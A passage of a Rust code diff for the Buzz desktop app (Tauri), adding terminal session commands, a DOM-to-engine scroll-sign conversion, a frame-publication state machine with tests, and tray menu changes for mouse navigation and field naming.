+        if detached {
+            *session.channel.lock().map_err(|e| e.to_string())? = None;
+        }
+        Ok(())
+    })
+}
+
+#[tauri::command]
+pub(crate) fn terminal_close(
+    session_id: String,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<()> {
+    let id = Uuid::parse_str(&session_id).map_err(|_| "invalid terminal session id".to_string())?;
+    let session = {
+        let mut sessions = state.0.lock().map_err(|e| e.to_string())?;
+        let index = sessions
+            .iter()
+            .position(|session| session.id == id)
+            .ok_or_else(|| "terminal session not found".to_string())?;
+        sessions.remove(index)
+    };
+    session.shutdown();
+    Ok(())
+}
+
+#[tauri::command]
+pub(crate) fn terminal_input(
+    session_id: String,
+    data: String,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<()> {
+    if data.len() > MAX_INPUT_BYTES {
+        return Err("terminal input exceeds 1 MiB".to_string());
+    }
+    state.with_session(&session_id, |session| {
+        session
+            .writer
+            .lock()
+            .map_err(|e| e.to_string())?
+            .write_all(data.as_bytes())
+            .map_err(|e| e.to_string())?;
+        // Typing returns you to the live edge, as every terminal does. It has
+        // to be explicit: the grid pins a scrolled-back viewport and lets new
+        // output pile up above it, so the echo of this keystroke would land on
+        // a screen the user cannot see. Doing it here rather than in the
+        // renderer covers pasted text and encoded keys for free, and costs a
+        // comparison -- not a repaint -- when nothing was scrolled.
+        if session.terminal.scroll_to_bottom() {
+            publish_viewport(session)?;
+        }
+        Ok(())
+    })
+}
+
+#[tauri::command]
+pub(crate) fn terminal_resize(
+    session_id: String,
+    columns: u16,
+    rows: u16,
+    pixel_width: u16,
+    pixel_height: u16,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<WireViewport> {
+    let terminal_size = size(columns, rows)?;
+    state.with_session(&session_id, |session| {
+        let new_pty_size = pty_size(columns, rows, pixel_width, pixel_height);
+        session
+            .master
+            .as_ref()
+            .ok_or_else(|| "terminal is closing".to_string())?
+            .resize(new_pty_size)
+            .map_err(|e| e.to_string())?;
+        *session.pty_size.lock().map_err(|e| e.to_string())? = new_pty_size;
+        let viewport = session.terminal.resize(terminal_size);
+        let publication = {
+            let mut publisher = session.publisher.lock().map_err(|e| e.to_string())?;
+            publisher.resize_applied(viewport);
+            let mut encoder = buzz_terminal::damage::Encoder::new();
+            publisher
+                .offer(session.terminal.snapshot(&mut encoder))
+                .map_err(|_| "terminal resize snapshot rejected".to_string())?
+        };
+        if let Some(publication) = publication {
+            session.publish(publication);
+        }
+        Ok(viewport.into())
+    })
+}
+
+/// Republish the viewport after the *viewport itself* moved without the grid
+/// changing.
+///
+/// A snapshot, not a damage capture, and that is load-bearing twice over.
+/// `capture_all` deliberately leaves damage alone (`damage.rs`), so the
+/// full-damage flag that `scroll_display` just set survives for the reader
+/// thread's next `render()` to consume -- which is what clears *its* dedup
+/// hashes. Take the damage here instead and those hashes would go on
+/// describing the rows the renderer had before the scroll, free to suppress a
+/// row that genuinely changed underneath it.
+///
+/// The encoder is fresh and local because its only job is to encode one frame
+/// that is `full` by construction; sharing the reader's would be sharing dedup
+/// state across two coordinate systems.
+fn publish_viewport(session: &Session) -> Result<()> {
+    let mut encoder = buzz_terminal::damage::Encoder::new();
+    let publication = session
+        .publisher
+        .lock()
+        .map_err(|e| e.to_string())?
+        .offer(session.terminal.snapshot(&mut encoder))
+        .map_err(|_| "terminal scroll snapshot rejected".to_string())?;
+    if let Some(publication) = publication {
+        session.publish(publication);
+    }
+    Ok(())
+}
+
+/// Scroll the viewport through scrollback.
+///
+/// `lines` is a DOM wheel delta in cells; see [`scroll_by_dom_lines`] for the
+/// sign convention and why it is written against `deltaY`.
+#[tauri::command]
+pub(crate) fn terminal_scroll(
+    session_id: String,
+    lines: DomLines,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<()> {
+    state.with_session(&session_id, |session| {
+        // Momentum keeps delivering events for a second or so after the
+        // fingers lift. Once history runs out the engine clamps and reports
+        // that nothing moved, so the tail costs a lock and a compare rather
+        // than a full-grid copy and a frame each.
+        if !scroll_by_dom_lines(&session.terminal, lines) {
+            return Ok(());
+        }
+        publish_viewport(session)
+    })
+}
+
+#[tauri::command]
+pub(crate) fn terminal_ack(
+    session_id: String,
+    subscription_id: String,
+    sequence: u64,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<()> {
+    state.with_session(&session_id, |session| {
+        let id = SubscriptionId::parse(&subscription_id)?;
+        let publication = session
+            .publisher
+            .lock()
+            .map_err(|e| e.to_string())?
+            .acknowledge(id, sequence);
+        if let Some(publication) = publication {
+            session.publish(publication);
+        }
+        Ok(())
+    })
+}
+
+#[tauri::command]
+pub(crate) fn terminal_viewport_ready(
+    session_id: String,
+    subscription_id: String,
+    viewport: WireViewport,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<()> {
+    state.with_session(&session_id, |session| {
+        let id = SubscriptionId::parse(&subscription_id)?;
+        let publication = session
+            .publisher
+            .lock()
+            .map_err(|e| e.to_string())?
+            .viewport_ready(id, viewport.into());
+        if let Some(publication) = publication {
+            session.publish(publication);
+        }
+        Ok(())
+    })
+}
+
+#[tauri::command]
+pub(crate) fn terminal_focus(
+    session_id: String,
+    focused: bool,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<()> {
+    state.with_session(&session_id, |session| {
+        let (_, enabled) = session.terminal.input_modes();
+        if enabled {
+            session
+                .writer
+                .lock()
+                .map_err(|e| e.to_string())?
+                .write_all(if focused { b"\x1b[I" } else { b"\x1b[O" })
+                .map_err(|e| e.to_string())?;
+        }
+        Ok(())
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use buzz_terminal::damage::{CursorFrame, RowFrame, Span};
+
+    fn publication(spans: Vec<Span>) -> Publication {
+        Publication {
+            subscription_id: SubscriptionId::new(),
+            sequence: 7,
+            frame: buzz_terminal::damage::Frame {
+                rows: vec![RowFrame { line: 3, spans }],
+                cursor: CursorFrame {
+                    line: 1,
+                    column: 2,
+                    visible: true,
+                },
+                cursor_changed: true,
+                full: true,
+                viewport: Viewport {
+                    generation: 4,
+                    columns: 80,
+                    screen_lines: 24,
+                },
+            },
+        }
+    }
+
+    fn style() -> Style {
+        Style {
+            fg: 1,
+            bg: 2,
+            flags: 3,
+        }
+    }
+
+    fn marker_frame(marker: usize, full: bool) -> Frame {
+        Frame {
+            rows: vec![RowFrame {
+                line: marker,
+                spans: Vec::new(),
+            }],
+            cursor: CursorFrame {
+                line: 0,
+                column: 0,
+                visible: true,
+            },
+            cursor_changed: true,
+            full,
+            viewport: Viewport {
+                generation: 0,
+                columns: 80,
+                screen_lines: 24,
+            },
+        }
+    }
+
+    fn assert_post_snapshot_capture_survives_attach(mut publisher: FramePublisher) {
+        assert!(!publisher.requires_snapshot());
+        let bootstrap = marker_frame(1, true);
+        let post_snapshot_incremental = marker_frame(42, false);
+        let subscription = SubscriptionId::new();
+        publisher.attach(subscription, bootstrap).unwrap();
+        let publisher = Mutex::new(publisher);
+
+        assert_eq!(
+            offer_capture(&publisher, post_snapshot_incremental, || marker_frame(
+                42, true
+            )),
+            None
+        );
+
+        let successor = publisher
+            .lock()
+            .unwrap()
+            .acknowledge(subscription, 1)
+            .expect("post-snapshot PTY output was lost");
+        assert_eq!(successor.frame.rows[0].line, 42);
+        assert!(successor.frame.full);
+    }
+
+    #[test]
+    fn reader_pumps_a_deferred_tail_without_an_external_event() {
+        let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
+        let terminal = SharedTerminal::new(terminal);
+        let payload = "\u{1b}c".repeat(2_102_714);
+
+        assert!(
+            feed_and_drain(&terminal, payload.as_bytes()),
+            "fixture must defer parser work before the runtime pumps it"
+        );
+
+        let terminal = terminal.lock();
+        assert_eq!(terminal.pending_bytes(), 0);
+        assert_eq!(terminal.stats().completed_units, 2_102_714);
+    }
+
+    #[test]
+    fn initial_attach_retains_output_captured_after_its_bootstrap_snapshot() {
+        let viewport = marker_frame(0, true).viewport;
+        let publisher = FramePublisher::new(viewport);
+        assert_post_snapshot_capture_survives_attach(publisher);
+    }
+
+    #[test]
+    fn reattach_retains_output_captured_after_its_bootstrap_snapshot() {
+        let viewport = marker_frame(0, true).viewport;
+        let mut publisher = FramePublisher::new(viewport);
+        let old = SubscriptionId::new();
+        publisher.attach(old, marker_frame(0, true)).unwrap();
+        assert!(publisher.acknowledge(old, 1).is_none());
+        assert_post_snapshot_capture_survives_attach(publisher);
+    }
+
+    #[test]
+    fn mapper_expands_ascii_runs_without_unicode_classification() {
+        let message = wire_publication(publication(vec![Span {
+            column: 4,
+            text: "abc".into(),
+            width: 1,
+            cluster_count: 3,
+            style: style(),
+        }]))
+        .unwrap();
+        let clusters = &message.rows[0].spans[0].clusters;
+        assert_eq!(
+            clusters
+                .iter()
+                .map(|cluster| (cluster.column, cluster.text.as_str()))
+                .collect::<Vec<_>>(),
+            vec![(4, "a"), (5, "b"), (6, "c")]
+        );
+    }
+
+    #[test]
+    fn mapper_keeps_a_multi_char_cluster_atomic() {
+        let message = wire_publication(publication(vec![Span {
+            column: 9,
+            text: "1\u{fe0f}\u{20e3}".into(),
+            width: 2,
+            cluster_count: 1,
+            style: style(),
+        }]))
+        .unwrap();
+        let clusters = &message.rows[0].spans[0].clusters;
+        assert_eq!(clusters.len(), 1);
+        assert_eq!(clusters[0].column, 9);
+        assert_eq!(clusters[0].text, "1\u{fe0f}\u{20e3}");
+        assert_eq!(clusters[0].width, 2);
+    }
+
+    #[test]
+    fn mapper_rejects_an_inconsistent_engine_span() {
+        let result = wire_publication(publication(vec![Span {
+            column: 0,
+            text: "ab".into(),
+            width: 1,
+            cluster_count: 3,
+            style: style(),
+        }]));
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn dimensions_reject_zero_and_preserve_scrollback_default() {
+        assert!(size(0, 24).is_err());
+        assert!(size(80, 0).is_err());
+        let size = size(100, 40).unwrap();
+        assert_eq!(
+            (size.columns, size.screen_lines, size.scrollback),
+            (100, 40, 10_000)
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/terminal_runtime/scroll_sign.rs b/desktop/src-tauri/src/terminal_runtime/scroll_sign.rs
new file mode 100644
index 0000000000..fa2cfc0a59
--- /dev/null
+++ b/desktop/src-tauri/src/terminal_runtime/scroll_sign.rs
@@ -0,0 +1,179 @@
+//! The one place the DOM's wheel sign meets the engine's scroll sign.
+//!
+//! Its own module because the crossing is the whole subject: the conversion is
+//! two characters of code and roughly a hundred lines of tests and reasoning
+//! about which way is back, and inlining that into the command file buries it
+//! among unrelated session plumbing.
+
+use buzz_terminal::SharedTerminal;
+use serde::Deserialize;
+
+/// A wheel delta in whole cells, carrying the **DOM's** sign.
+///
+/// A newtype rather than a bare `i32` so the engine's opposite convention
+/// cannot be reached by accident: `SharedTerminal::scroll` takes an `i32`, so
+/// handing it this value straight from the wire is a type error rather than a
+/// silently reversed terminal. Deleting the conversion is caught by the tests
+/// below; *bypassing* it is caught by the compiler.
+///
+/// Serde already reads a one-field tuple struct as its inner value, so no
+/// `transparent` attribute is needed -- verified by the wire test below, which
+/// deserializes from a bare number.
+#[derive(Debug, Clone, Copy, Deserialize)]
+pub(crate) struct DomLines(i32);
+
+/// Scroll `terminal` by a DOM wheel delta in cells.
+///
+/// This is the only place the two sign conventions meet, so it is a named
+/// function rather than a `-` in an argument list: inlined, the conversion is
+/// executed by every scroll test and asserted by none of them, and deleting it
+/// leaves both the Rust and the frontend suites green while reversing the
+/// terminal on a real trackpad. It takes the terminal rather than returning a
+/// number so the tests below drive the same call `terminal_scroll` makes,
+/// instead of a conversion that agrees with itself.
+///
+/// The DOM sign is the spec because the OS-reported delta is the only stable
+/// thing here. macOS "natural scrolling" flips what a given finger motion
+/// reports, so a rule stated as "swipe up goes back" is correct for one
+/// preference setting and backwards for the other. Stated against `deltaY` it
+/// is correct for both, and matches whatever the page around the terminal
+/// does: **negative DOM lines -- the direction that scrolls a web page toward
+/// the top of the document -- go back into history**, which is positive in the
+/// engine's `Scroll::Delta` convention.
+///
+/// `saturating_neg` because this arrives over IPC: plain unary negation on
+/// `i32::MIN` panics in debug and wraps to `i32::MIN` in release, so a crafted
+/// command could scroll the wrong way. Saturating leaves it going back, which
+/// the engine then clamps at the oldest line.
+///
+/// Returns whether the viewport actually moved.
+pub(super) fn scroll_by_dom_lines(terminal: &SharedTerminal, dom_lines: DomLines) -> bool {
+    terminal.scroll(dom_lines.0.saturating_neg())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    /// A terminal with four lines of history and a two-row viewport, used by
+    /// the sign tests below.
+    fn scrollable() -> SharedTerminal {
+        let size = buzz_terminal::Size {
+            columns: 8,
+            screen_lines: 2,
+            scrollback: 16,
+        };
+        let (term, actions) =
+            buzz_terminal::Terminal::new(size, buzz_terminal::fences::Fences::ALL);
+        // Leaked deliberately: dropping the receiver disconnects the channel
+        // and every later listener send fails silently.
+        std::mem::forget(actions);
+        let shared = SharedTerminal::new(term);
+        shared.feed_fully(b"L1\r\nL2\r\nL3\r\nL4");
+        shared
+    }
+
+    fn screen(terminal: &SharedTerminal) -> Vec<String> {
+        let mut encoder = buzz_terminal::damage::Encoder::new();
+        terminal
+            .snapshot(&mut encoder)
+            .rows
+            .iter()
+            .map(|row| {
+                row.spans
+                    .iter()
+                    .map(|span| span.text.as_str())
+                    .collect::<String>()
+                    .trim_end()
+                    .to_string()
+            })
+            .collect()
+    }
+
+    /// The newtype is on the wire, so it has to deserialize from the bare
+    /// number the frontend sends. The frontend test mocks `invoke` and cannot
+    /// see this; if the wrapper did not read transparently, every scroll would
+    /// fail to deserialize and the terminal would silently stop scrolling.
+    #[test]
+    fn a_wheel_delta_deserializes_from_the_bare_number_the_frontend_sends() {
+        #[derive(Deserialize)]
+        struct Args {
+            lines: DomLines,
+        }
+        let args: Args = serde_json::from_str(r#"{"lines":-2}"#).unwrap();
+        assert_eq!(args.lines.0, -2);
+
+        let terminal = scrollable();
+        assert!(scroll_by_dom_lines(&terminal, args.lines));
+        assert_eq!(
+            screen(&terminal),
+            vec!["L1", "L2"],
+            "the value off the wire must scroll back, not forwards"
+        );
+    }
+
+    /// **The DOM->engine crossing, asserted rather than executed in passing.**
+    ///
+    /// The direction under test: *negative DOM lines go back into history.*
+    /// Negative is what a wheel reports for the gesture that scrolls a web
+    /// page toward the top of the document, and the engine's `Scroll::Delta`
+    /// takes positive for backwards, so the boundary negates.
+    ///
+    /// This asserts on the text that lands on screen rather than on the
+    /// converted number. A test of the arithmetic alone passes just as well
+    /// against an engine that reads the sign the other way -- two one-sided
+    /// tests are not a test of the crossing.
+    #[test]
+    fn a_negative_dom_delta_scrolls_backwards_into_history() {
+        let terminal = scrollable();
+        assert_eq!(
+            screen(&terminal),
+            vec!["L3", "L4"],
+            "starts at the live edge"
+        );
+
+        assert!(scroll_by_dom_lines(&terminal, DomLines(-2)));
+        assert_eq!(
+            screen(&terminal),
+            vec!["L1", "L2"],
+            "a page-upwards gesture must reach older lines, not newer ones"
+        );
+
+        assert!(scroll_by_dom_lines(&terminal, DomLines(2)));
+        assert_eq!(
+            screen(&terminal),
+            vec!["L3", "L4"],
+            "and a page-downwards gesture returns to the live edge"
+        );
+    }
+
+    /// The momentum tail: once history runs out the engine clamps, and the
+    /// boundary must report that nothing moved so the command skips the
+    /// republish rather than shipping an identical frame per event.
+    #[test]
+    fn a_dom_delta_past_the_oldest_line_reports_no_movement() {
+        let terminal = scrollable();
+        assert!(scroll_by_dom_lines(&terminal, DomLines(-2)));
+        assert!(
+            !scroll_by_dom_lines(&terminal, DomLines(-1_000)),
+            "there is nothing older, so nothing moved"
+        );
+        assert_eq!(screen(&terminal), vec!["L1", "L2"]);
+    }
+
+    /// `lines` arrives over IPC, so it can be any `i32`. Plain unary negation
+    /// panics on `i32::MIN` in debug and wraps back to `i32::MIN` in release --
+    /// the release case being the dangerous one, since it silently reverses
+    /// the direction. Saturating keeps the direction the caller asked for and
+    /// lets the engine clamp.
+    #[test]
+    fn the_most_negative_dom_delta_saturates_backwards_instead_of_wrapping_forwards() {
+        let terminal = scrollable();
+        assert!(scroll_by_dom_lines(&terminal, DomLines(i32::MIN)));
+        assert_eq!(
+            screen(&terminal),
+            vec!["L1", "L2"],
+            "a hostile delta must clamp at the oldest line, not flip direction"
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/terminal_transport.rs b/desktop/src-tauri/src/terminal_transport.rs
new file mode 100644
index 0000000000..548cd3087a
--- /dev/null
+++ b/desktop/src-tauri/src/terminal_transport.rs
@@ -0,0 +1,381 @@
+//! Credit and viewport ordering for one renderer subscription.
+//!
+//! Tauri channels are ordered, but they do not expose consumer credit and
+//! channel delivery is unordered with respect to invoke responses.  This state
+//! machine therefore permits one frame on the wire, retains at most one newer
+//! complete snapshot, and independently gates a resized viewport until the
+//! renderer confirms that it knows the applied [`Viewport`].
+
+use buzz_terminal::{damage::Frame, Viewport};
+use std::fmt;
+
+use uuid::Uuid;
+
+/// A renderer attachment. Messages from an attachment that has been replaced
+/// cannot release the new attachment's credit.
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
+pub(crate) struct SubscriptionId(Uuid);
+
+impl SubscriptionId {
+    pub(crate) fn new() -> Self {
+        Self(Uuid::new_v4())
+    }
+
+    pub(crate) fn parse(value: &str) -> Result<Self, String> {
+        Uuid::parse_str(value)
+            .map(Self)
+            .map_err(|_| "invalid terminal subscription id".to_string())
+    }
+}
+
+impl fmt::Display for SubscriptionId {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        self.0.fmt(formatter)
+    }
+}
+
+/// A frame carrying the identity and sequence that its ACK must repeat.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub(crate) struct Publication {
+    pub(crate) subscription_id: SubscriptionId,
+    pub(crate) sequence: u64,
+    pub(crate) frame: Frame,
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub(crate) enum OfferError {
+    /// Replacing pending incremental damage would lose changes that existed in
+    /// the older pending frame. Only a complete snapshot may be replaceable.
+    PendingFrameMustBeSnapshot,
+}
+
+struct Subscription {
+    id: SubscriptionId,
+    next_sequence: u64,
+    in_flight: Option<u64>,
+    pending: Option<Frame>,
+    viewport_ready: bool,
+}
+
+/// Publication state for a terminal session.
+///
+/// PTY ownership is deliberately elsewhere. Faulting or detaching this state
+/// stops renderer publication only; it must never stop the PTY reader.
+pub(crate) struct FramePublisher {
+    applied: Viewport,
+    subscription: Option<Subscription>,
+}
+
+impl FramePublisher {
+    pub(crate) fn new(applied: Viewport) -> Self {
+        Self {
+            applied,
+            subscription: None,
+        }
+    }
+
+    pub(crate) fn applied_viewport(&self) -> Viewport {
+        self.applied
+    }
+
+    /// Attach with a complete snapshot of the current viewport. Attachment is
+    /// a fresh bootstrap: no credit or readiness from the old subscription is
+    /// inherited.
+    pub(crate) fn attach(
+        &mut self,
+        id: SubscriptionId,
+        snapshot: Frame,
+    ) -> Result<Publication, OfferError> {
+        self.require_current_snapshot(&snapshot)?;
+        let mut subscription = Subscription {
+            id,
+            next_sequence: 1,
+            in_flight: None,
+            pending: None,
+            viewport_ready: true,
+        };
+        let publication = Self::publish(&mut subscription, snapshot);
+        self.subscription = Some(subscription);
+        Ok(publication)
+    }
+
+    /// Whether the next capture must be complete so it can safely replace the
+    /// single pending value. Callers use this to select the engine's snapshot
+    /// path before taking the terminal lock.
+    pub(crate) fn requires_snapshot(&self) -> bool {
+        self.subscription.as_ref().is_some_and(|subscription| {
+            subscription.in_flight.is_some() || !subscription.viewport_ready
+        })
+    }
+
+    /// Offer the newest capture. Frames for an overtaken viewport are inert.
+    /// While credit/readiness is held, the newest complete snapshot replaces
+    /// the prior one and pending storage remains exactly one frame.
+    pub(crate) fn offer(&mut self, frame: Frame) -> Result<Option<Publication>, OfferError> {
+        if frame.viewport != self.applied {
+            return Ok(None);
+        }
+        let Some(subscription) = &mut self.subscription else {
+            return Ok(None);
+        };
+
+        if subscription.in_flight.is_some() || !subscription.viewport_ready {
+            if !frame.full {
+                return Err(OfferError::PendingFrameMustBeSnapshot);
+            }
+            subscription.pending = Some(frame);
+            return Ok(None);
+        }
+
+        Ok(Some(Self::publish(subscription, frame)))
+    }
+
+    /// Apply the viewport returned by the engine resize call. A real change
+    /// invalidates pending state and closes the readiness gate. Same-size
+    /// resizes are inert because the engine returns the unchanged viewport.
+    pub(crate) fn resize_applied(&mut self, viewport: Viewport) {
+        if viewport == self.applied {
+            return;
+        }
+        self.applied = viewport;
+        if let Some(subscription) = &mut self.subscription {
+            subscription.viewport_ready = false;
+            subscription.pending = None;
+        }
+    }
+
+    /// Release ordinary frame credit only for the exact live subscription and
+    /// exact frame in flight.
+    pub(crate) fn acknowledge(&mut self, id: SubscriptionId, sequence: u64) -> Option<Publication> {
+        let subscription = self.subscription.as_mut()?;
+        if subscription.id != id || subscription.in_flight != Some(sequence) {
+            return None;
+        }
+        subscription.in_flight = None;
+        Self::flush(subscription)
+    }
+
+    /// Renderer confirmation that the resize invoke result has been installed.
+    /// Equality against the one atomic viewport value is the entire policy:
+    /// old subscription IDs and superseded viewport values are inert.
+    pub(crate) fn viewport_ready(
+        &mut self,
+        id: SubscriptionId,
+        viewport: Viewport,
+    ) -> Option<Publication> {
+        let subscription = self.subscription.as_mut()?;
+        if subscription.id != id || viewport != self.applied {
+            return None;
+        }
+        subscription.viewport_ready = true;
+        Self::flush(subscription)
+    }
+
+    /// Drop publication state after channel close, invoke rejection, renderer
+    /// teardown, or explicit detach. The caller owns safe Buzz focus recovery.
+    pub(crate) fn fault(&mut self, id: SubscriptionId) -> bool {
+        if self
+            .subscription
+            .as_ref()
+            .is_some_and(|subscription| subscription.id == id)
+        {
+            self.subscription = None;
+            true
+        } else {
+            false
+        }
+    }
+
+    /// Permanently detach publication as the session begins closing.
+    pub(crate) fn close(&mut self) {
+        self.subscription = None;
+    }
+
+    fn require_current_snapshot(&self, frame: &Frame) -> Result<(), OfferError> {
+        if frame.viewport == self.applied && frame.full {
+            Ok(())
+        } else {
+            Err(OfferError::PendingFrameMustBeSnapshot)
+        }
+    }
+
+    fn flush(subscription: &mut Subscription) -> Option<Publication> {
+        if subscription.in_flight.is_some() || !subscription.viewport_ready {
+            return None;
+        }
+        let frame = subscription.pending.take()?;
+        Some(Self::publish(subscription, frame))
+    }
+
+    fn publish(subscription: &mut Subscription, frame: Frame) -> Publication {
+        debug_assert!(subscription.in_flight.is_none());
+        let sequence = subscription.next_sequence;
+        subscription.next_sequence = subscription
+            .next_sequence
+            .checked_add(1)
+            .expect("terminal publication sequence exhausted");
+        subscription.in_flight = Some(sequence);
+        Publication {
+            subscription_id: subscription.id,
+            sequence,
+            frame,
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use buzz_terminal::damage::{CursorFrame, RowFrame};
+
+    fn viewport(generation: u64, columns: usize, screen_lines: usize) -> Viewport {
+        Viewport {
+            generation,
+            columns,
+            screen_lines,
+        }
+    }
+
+    fn frame(viewport: Viewport, marker: usize, full: bool) -> Frame {
+        Frame {
+            rows: vec![RowFrame {
+                line: marker,
+                spans: Vec::new(),
+            }],
+            cursor: CursorFrame {
+                line: 0,
+                column: 0,
+                visible: true,
+            },
+            cursor_changed: true,
+            full,
+            viewport,
+        }
+    }
+
+    #[test]
+    fn attach_bootstraps_then_ack_releases_only_latest_snapshot() {
+        let v0 = viewport(0, 80, 24);
+        let mut publisher = FramePublisher::new(v0);
+        let id = SubscriptionId::new();
+        let bootstrap = publisher.attach(id, frame(v0, 0, true)).unwrap();
+        assert_eq!(bootstrap.sequence, 1);
+        assert!(publisher.requires_snapshot());
+
+        assert_eq!(publisher.offer(frame(v0, 1, true)).unwrap(), None);
+        assert_eq!(publisher.offer(frame(v0, 2, true)).unwrap(), None);
+        let successor = publisher.acknowledge(id, 1).unwrap();
+        assert_eq!(successor.sequence, 2);
+        assert_eq!(successor.frame.rows[0].line, 2);
+    }
+
+    #[test]
+    fn pending_incremental_frame_is_rejected_instead_of_losing_damage() {
+        let v0 = viewport(0, 80, 24);
+        let mut publisher = FramePublisher::new(v0);
+        let id = SubscriptionId::new();
+        publisher.attach(id, frame(v0, 0, true)).unwrap();
+        assert_eq!(
+            publisher.offer(frame(v0, 1, false)),
+            Err(OfferError::PendingFrameMustBeSnapshot)
+        );
+    }
+
+    #[test]
+    fn late_old_frame_is_acked_but_never_crosses_viewports() {
+        let v0 = viewport(0, 80, 24);
+        let v1 = viewport(1, 100, 30);
+        let mut publisher = FramePublisher::new(v0);
+        let id = SubscriptionId::new();
+        publisher.attach(id, frame(v0, 0, true)).unwrap();
+
+        publisher.resize_applied(v1);
+        assert_eq!(publisher.offer(frame(v0, 7, true)).unwrap(), None);
+        assert_eq!(publisher.offer(frame(v1, 8, true)).unwrap(), None);
+        assert_eq!(publisher.acknowledge(id, 1), None);
+        let current = publisher.viewport_ready(id, v1).unwrap();
+        assert_eq!(current.frame.viewport, v1);
+        assert_eq!(current.frame.rows[0].line, 8);
+    }
+
+    #[test]
+    fn early_new_frame_is_held_despite_real_capture_pressure() {
+        let v0 = viewport(0, 80, 24);
+        let v1 = viewport(1, 120, 40);
+        let mut publisher = FramePublisher::new(v0);
+        let id = SubscriptionId::new();
+        publisher.attach(id, frame(v0, 0, true)).unwrap();
+        publisher.acknowledge(id, 1);
+
+        publisher.resize_applied(v1);
+        // A real non-empty capture occurred. Zero publication before readiness
+        // therefore cannot pass vacuously because no output happened.
+        let captured = frame(v1, 9, true);
+        assert!(!captured.rows.is_empty());
+        assert_eq!(publisher.offer(captured).unwrap(), None);
+        let publication = publisher.viewport_ready(id, v1).unwrap();
+        assert_eq!(publication.frame.rows[0].line, 9);
+        assert_eq!(publication.frame.viewport, v1);
+    }
+
+    #[test]
+    fn ack_and_readiness_may_arrive_in_either_order() {
+        let v0 = viewport(0, 80, 24);
+        let v1 = viewport(1, 100, 30);
+        let mut publisher = FramePublisher::new(v0);
+        let id = SubscriptionId::new();
+        publisher.attach(id, frame(v0, 0, true)).unwrap();
+        publisher.resize_applied(v1);
+        publisher.offer(frame(v1, 1, true)).unwrap();
+
+        assert_eq!(publisher.viewport_ready(id, v1), None);
+        assert!(publisher.acknowledge(id, 1).is_some());
+    }
+
+    #[test]
+    fn superseded_readiness_and_same_size_resize_are_inert() {
+        let v0 = viewport(0, 80, 24);
+        let v1 = viewport(1, 100, 30);
+        let v2 = viewport(2, 120, 40);
+        let mut publisher = FramePublisher::new(v0);
+        let id = SubscriptionId::new();
+        publisher.attach(id, frame(v0, 0, true)).unwrap();
+        publisher.resize_applied(v1);
+        publisher.resize_applied(v2);
+        publisher.resize_applied(v2);
+        assert_eq!(publisher.applied_viewport(), v2);
+        publisher.offer(frame(v2, 2, true)).unwrap();
+        publisher.acknowledge(id, 1);
+        assert_eq!(publisher.viewport_ready(id, v1), None);
+        assert!(publisher.viewport_ready(id, v2).is_some());
+    }
+
+    #[test]
+    fn old_subscription_messages_cannot_release_reattached_subscription() {
+        let v0 = viewport(0, 80, 24);
+        let mut publisher = FramePublisher::new(v0);
+        let old = SubscriptionId::new();
+        publisher.attach(old, frame(v0, 0, true)).unwrap();
+        assert!(publisher.fault(old));
+
+        let new = SubscriptionId::new();
+        publisher.attach(new, frame(v0, 1, true)).unwrap();
+        publisher.offer(frame(v0, 2, true)).unwrap();
+        assert_eq!(publisher.acknowledge(old, 1), None);
+        assert_eq!(publisher.viewport_ready(old, v0), None);
+        let successor = publisher.acknowledge(new, 1).unwrap();
+        assert_eq!(successor.frame.rows[0].line, 2);
+    }
+
+    #[test]
+    fn stale_fault_cannot_detach_current_subscription() {
+        let v0 = viewport(0, 80, 24);
+        let mut publisher = FramePublisher::new(v0);
+        let old = SubscriptionId::new();
+        let new = SubscriptionId::new();
+        publisher.attach(old, frame(v0, 0, true)).unwrap();
+        publisher.attach(new, frame(v0, 1, true)).unwrap();
+        assert!(!publisher.fault(old));
+        assert!(publisher.fault(new));
+    }
+}
diff --git a/desktop/src-tauri/src/tray_menu.rs b/desktop/src-tauri/src/tray_menu.rs
index d733cd1f13..3f9fe49fe0 100644
--- a/desktop/src-tauri/src/tray_menu.rs
+++ b/desktop/src-tauri/src/tray_menu.rs
@@ -3,6 +3,11 @@
 //! The webview owns the live agent-turn state. It sends the small display
 //! projection here so the native menu can remain useful while Buzz is hidden.
 
+// Mouse back/forward (X1/X2 buttons and swipe) is also macOS-only native I/O;
+// group it here so both platform-layer init paths share one call site in lib.rs.
+#[path = "mouse_nav.rs"]
+pub(crate) mod mouse_nav;
+
 use std::{
     sync::{Mutex, OnceLock},
     time::{Duration, Instant},
@@ -208,7 +213,9 @@ struct TrayMenuState<R: Runtime> {
 pub enum TrayAction {
     NewChannel,
     OpenChannel {
+        #[serde(rename = "channelId")]
         channel_id: String,
+        #[serde(rename = "communityGeneration")]
         community_generation: u64,
     },
 }
@@ -488,6 +495,7 @@ pub fn init<R: Runtime>(app: &AppHandle<R>) -> tauri::Result<()> {
     if let Err(error) = apply_activity_presentation(&tray, activities, recent_activities) {
         eprintln!("buzz-desktop: failed to apply tray menu presentation: {error}");
     }
+    mouse_nav::init(app);
     Ok(())
 }
 
@@ -608,6 +616,23 @@ pub fn update_tray_agent_activity<R: Runtime>(
 mod tests {
     use super::{requeue_actions, TrayAction, TrayActionQueue};
 
+    #[test]
+    fn open_channel_action_serializes_with_frontend_field_names() {
+        let action = TrayAction::OpenChannel {
+            channel_id: "channel-123".into(),
+            community_generation: 7,
+        };
+
+        assert_eq!(
+            serde_json::to_value(action).expect("tray action should serialize"),
+            serde_json::json!({
+                "kind": "openChannel",
+                "channelId": "channel-123",
+                "communityGeneration": 7,
+            })
+        );
+    }
+
     #[test]
